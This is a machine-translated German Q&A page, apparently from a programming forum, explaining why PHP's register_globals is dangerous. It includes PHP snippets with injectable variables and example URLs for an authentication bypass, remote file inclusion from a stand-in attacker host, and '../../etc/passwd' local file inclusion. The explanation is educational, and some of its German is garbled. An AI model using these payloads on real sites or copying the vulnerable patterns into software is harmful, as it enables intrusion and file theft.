Ich bin kein PHP-Entwickler, aber ich habe an ein paar Orten gesehen, dass die Leute es wie die Pest oder so zu behandeln scheinen. Warum?Warum ist REGISTER_GLOBALS so schlecht?
Antwort
REGISTER_GLOBALS
bedeutet, dass alle über GET oder POST übergebenen Variablen als globale Variablen in Ihrem Skript verfügbar sind. Da der Zugriff auf nicht deklarierte Variablen kein Fehler in PHP ist (es ist eine Warnung), kann dies zu sehr unangenehmen Situationen führen. Betrachten Sie diese, zum Beispiel:
<?php
// $debug = true;
if ($debug) {
echo "query: $query\n";
}
Es ist keine schlechte Sache per se (ausgereiftes Code keine Warnungen erzeugen sollte deshalb keine Variablen zugreifen sollte, die nicht deklariert werden könnten (und sollten nicht NotwendigkeitREGISTER_GLOBALS
für die gleichen Grund)), aber PHP-Code ist in der Regel [sehr] geringe Qualität, was zu dieser Art von Sicherheitslücken führt.
Da es dem Benutzer ermöglicht, jede globale Variable in Ihrem Code ohne jede Kontrolle zu injizieren.
Aufgrund der Qualität des Codes kann es zu größeren Sicherheitsfehlern kommen.
Durch die Aktivierung von REGISTER_GLOBALS werden Webseiten, die von PHP bereitgestellt werden, Schwachstellen zugänglich gemacht, die von einigen bösen Jungs gerne ausgenutzt werden.
Mit ihm ermöglicht, jedem Abfrage-String am Ende der URL:
http://yourdomain/something.php?valid=true
den Wert eines Variablen $ gültig (zum Beispiel) in something.php beeinflussen, wenn es existiert.
Wenn Sie öffentlich verfügbaren PHP-Code (z. B. eine Bibliothek) verwenden, sind die Namen der Variablen bekannt, und Hacker könnten ihre Werte durch Zuweisung von Werten im Abfrage-String steuern. Sie können möglicherweise die Authentifizierung umgehen.
Auch wenn Sie keinen öffentlichen Code verwenden, können Sie möglicherweise die Namen wichtiger Variablen erraten und deren Werte steuern.
Es verwendet die Standardeinstellung sein REGISTER_GLOBALS in PHP.INI
Aktuelle Praxis zu deaktivieren wurde standardmäßig aktiviert sein. Aktivieren Sie es auf eigene Gefahr!
einfach hinzuzufügen, hier sind einige Situationen, in denen mit REGISTER_GLOBALS
den Tag verderben aktiviert könnten:
<?php
$logged = User::getLogged();
if ($logged)
{
include '/important/secret.php';
}
?>
Sender:
Mit dem Query-String-Zugriffskontrolle umgehen (Hack http://example.com/?logged=1 verwenden) Dateieinschluss (RFI):
<?php
//http://example.com/?path=http://evilbadthings.example.com/
include "$path";
?>
Local File Inclusion (LFI):
<?php
//http://example.com/?path=../../../../etc/passwd
include "$path";
?>
Ihr erstes Beispiel ist nicht kompromittiert, da der Wert von '$ logged' durch den Rückgabewert von' User :: getLogged' definiert ist. – Gumbo
- 1. Warum ist Val + = SomeOtherValue so schlecht?
- 2. Warum ist seq schlecht?
- 3. Fatal Error register_globals ist deaktiviert
- 4. UnnötigLocalBeforeReturn - warum ist es schlecht?
- 5. Warum ist string :: substr schlecht?
- 6. Warum ist Internet Explorer so schlecht zu entwickeln?
- 7. Warum Thread.sleep ist schlecht zu verwenden
- 8. Warum sind Globals schlecht?
- 9. Warum sind Positionsabfragen schlecht?
- 10. Warum skaliert dieser parallele Code in D so schlecht?
- 11. Warum funktioniert Percona pt-Online-Schema-Änderung so schlecht?
- 12. Was ist "String Bashing" und warum ist es schlecht?
- 13. Warum ist #define schlecht und was ist der richtige Ersatz?
- 14. Ist Application.Restart schlecht?
- 15. Ist Goto so schlecht, wie die Leute sagen?
- 16. Nach NavigationBarHidden, StatusBar so schlecht
- 17. ist es schlecht Initialisierungsblocks
- 18. Sind Schnitte so schlecht in der Programmierung?
- 19. Aktivieren Sie register_globals in PHP 5.6
- 20. Warum ist die Qualität der von PIL erzeugten JPEG-Bilder so schlecht?
- 21. Ist Srand (Zeit (NULL)) schlecht?
- 22. Warum ist OPENQUERY auf einem lokalen Server schlecht?
- 23. Warum ist das Hinzufügen zu einer Liste schlecht?
- 24. Warum ist es schlecht, einen lokalen Funktor zu haben?
- 25. Iphone Entwicklung: Wie schlecht ist
- 26. Wie schlecht ist dieser Code?
- 27. Ist Lazy Loading wirklich schlecht?
- 28. Warum funktioniert das Apache Event MPM schlecht?
- 29. Warum wird die Verwendung schlecht zugewiesen?
- 30. Warum sind Zuordnungen unter Bedingungen schlecht?
"PHP-Code ist in der Regel [sehr] niedrige Qualität" - sprechen in der Regel für sich selbst – OIS
= immer!. Aber ich würde Ihnen empfehlen, die Quelle einiger Open-Source-CMS zu durchsuchen. Sie werden mehr 'eval()', 'eregeplace()' und 'REGISTER_GLOBALS' finden, als Sie vielleicht erwarten.Hinweis: Ich bin selbst ein PHP-Entwickler. – soulmerge
Der Versuch, nicht definierte Variablen zu lesen, ist unangenehm. Sie hätten dieses Problem nicht mit '$ debug = false;'. – Gumbo